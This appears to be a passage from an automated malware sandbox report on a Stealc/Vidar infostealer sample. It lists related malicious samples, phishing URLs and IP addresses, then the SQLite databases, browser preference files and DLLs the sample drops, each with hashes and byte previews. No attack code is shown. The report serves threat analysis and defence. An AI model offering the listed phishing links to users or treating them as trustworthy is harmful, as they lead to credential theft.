1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.1.237.91
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.1.237.91
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.1.237.91
	https://cosiosos.com.de/7i2ko/	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	weekly-finances-report.xlsx	Get hash	malicious	KnowBe4	Browse	23.1.237.91
	https://token.onelogin.com-token-auth.com/Xa0Y1MmVibVhmY0E5dnlabzhVK2w2MVo4bXZUM3RzTFBZU1FSUEYxRHlzb29tODRTUDQ4alBDR3Y1cWUvN1JvVzhtWGVkaHFaSG0rOVpUTVV1VjY2a3MvZDB6TktwTHhsRk9xdzQwQjV6YjIvcnA5MjFsaFJEamtNdXI5UXQ1Qm9lK0ZsZFd0TXI0R2JWWlVYeFFXa2pBaXZOKzR2QXRkUTd3dlBLNzUrQ1RweERVMmQ5ZHQwdjlKZ2dlS2tEVUF5UEE9PS0tdFFWWndQdklZQXNodTY1US0tUXAyU1llVHhDaXRTRjU1OVNWMXFNdz09?cid=2262276963	Get hash	malicious	KnowBe4	Browse	23.1.237.91
	Review_&_Aprove_Your_Next_Payroll84633.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://www.guidedtrack.com/programs/n5snx1a/run	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.1.237.91
	https://joseordenes.com/n/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9TUZCc01WYz0mdWlkPVVTRVIyODEwMjAyNFUxOTEwMjgxMA==N0123N%5BEMAIL%5D	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	Ky4J8k89A7.exe	Get hash	malicious	Stealc, Vidar, Xmrig	Browse	4.175.87.197 4.245.163.56 13.107.246.45 52.165.164.15 40.126.31.69 2.19.104.72
	file.exe	Get hash	malicious	Stealc	Browse	4.175.87.197 4.245.163.56 13.107.246.45 52.165.164.15 40.126.31.69 2.19.104.72
	file.exe	Get hash	malicious	Xmrig	Browse	4.175.87.197 4.245.163.56 13.107.246.45 52.165.164.15 40.126.31.69 2.19.104.72
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	4.175.87.197 4.245.163.56 13.107.246.45 52.165.164.15 40.126.31.69 2.19.104.72
	fileDoc_Commission Dept Ec.docx	Get hash	malicious	Unknown	Browse	4.175.87.197 4.245.163.56 13.107.246.45 52.165.164.15 40.126.31.69 2.19.104.72
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	4.175.87.197 4.245.163.56 13.107.246.45 52.165.164.15 40.126.31.69 2.19.104.72
	http://hprus.conegutsud.com.pe/4zgrHK17910PyfC1508dysnmxbczx27005OLWUIBMTRFCEVBH25578NWDJ17331m12#2mzdvgfkgua042eh8kky7aanhr5dggelvb8fjk5yz6jna8o8e5	Get hash	malicious	Phisher	Browse	4.175.87.197 4.245.163.56 13.107.246.45 52.165.164.15 40.126.31.69 2.19.104.72
	SecuriteInfo.com.Win32.RATX-gen.1803.21030.exe	Get hash	malicious	Unknown	Browse	4.175.87.197 4.245.163.56 13.107.246.45 52.165.164.15 40.126.31.69 2.19.104.72
	Paiement.eml	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 4.245.163.56 13.107.246.45 52.165.164.15 40.126.31.69 2.19.104.72
	https://pub-6838e3dd185d4df89d3bb3eabe6469a4.r2.dev/index.html#	Get hash	malicious	Unknown	Browse	4.175.87.197 4.245.163.56 13.107.246.45 52.165.164.15 40.126.31.69 2.19.104.72

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	Ky4J8k89A7.exe	Get hash	malicious	Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\chrome.dll	Ky4J8k89A7.exe	Get hash	malicious	Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	b4s45TboUL.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAFBAKEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2648473502533466
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMASAELyKOMq+8yC8F/YfU5m+OlTLVum0:Bq+n0JA9ELyKOMq+8y9/OwX
MD5:	4CB4C84598073AA972A8593DDD929F43
SHA1:	6CBF2DC758D112518D2FEEA44A670F0F2EF1E1A6
SHA-256:	BEA54E8B57C843082843C1F63AB0EC7BB65DD68D7582A188F17C5FAF0FBE60BD
SHA-512:	CF70C67FFA096CE3F252157F62FFF7BE83686F7700DE53B49C9D8E7233C0EA9ED24394E7BC00EC75373C4B86E6462B6F9BA2BA3D6992D8C6243574B2DBE57457
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAFBGDHCBAEHIDGCGIDAKFIIEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCFBFBFBKFIDHJKFCAFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HCFBAFIDAECAKFHJDBAFIEBKKK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIJEBAECGCBKECAAAEBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJDHDGDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGCGHCGHCBFHJJKKJEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Ky4J8k89A7.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: b4s45TboUL.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 0T32Kz4dZU.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Ky4J8k89A7.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 0T32Kz4dZU.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\23f868b7-3068-4e39-8153-714bd8b656da.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44616
Entropy (8bit):	6.096761981891497
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBrwu2hDO6vP6OUMDd2Nm4G4cGoup1Xl3jVzXr4CCz:z/Ps+wsI7ynED60Bchu3VlXr4CRo1
MD5:	1C99CE6587FBD10FF1FD4ED2B9D2D3C7
SHA1:	37F809D5E69BE9CA4D4D74488401D76EB110C32C
SHA-256:	D5541595C659E22FC64CDCC34BC62DC1C27841FC98C58C93672CAC8AAE8F6E0A
SHA-512:	F07E3AB70C2978388B3BEA81A9D7808E2961A42BDEEE2E859716AC247D2AADEDFD60A474D1BEDED5B54A75914A9D1F18242A969123C16B646199EE6FD37CFC5E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3da66d08-fb37-4436-ac93-c8fb3dc2f060.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44616
Entropy (8bit):	6.096761981891497
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBrwu2hDO6vP6OUMDd2Nm4G4cGoup1Xl3jVzXr4CCz:z/Ps+wsI7ynED60Bchu3VlXr4CRo1
MD5:	1C99CE6587FBD10FF1FD4ED2B9D2D3C7
SHA1:	37F809D5E69BE9CA4D4D74488401D76EB110C32C
SHA-256:	D5541595C659E22FC64CDCC34BC62DC1C27841FC98C58C93672CAC8AAE8F6E0A
SHA-512:	F07E3AB70C2978388B3BEA81A9D7808E2961A42BDEEE2E859716AC247D2AADEDFD60A474D1BEDED5B54A75914A9D1F18242A969123C16B646199EE6FD37CFC5E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8567b1ac-78cc-4100-9538-9c4bb7adee6a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46144
Entropy (8bit):	6.088304516583204
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgpo/wDuvhDO6vP6OU8afvWoGKZIWhy1DhSCAoWGoup1Xl3jVzy:mMk1rT8HJo/s60L01sRoWhu3VlXr4J
MD5:	06C482B31A17AC3A5653E225DDC5A49A
SHA1:	D75699BA989CE1244458E05906E29639BF1940DF
SHA-256:	CACE0228DD7175D6BF2A51969BC6DB0C545B0A8CFD1EA2264ECD8383EE343BF0
SHA-512:	873CB863FB9142AE254B8ECBFFF89E8C152362357999DD873957B156F19CA60B81E9C88A73BCCD18AF2EEDA2636532426AD9A6E6FA94F22412BB5C8E6AC331FA
Malicious:	false
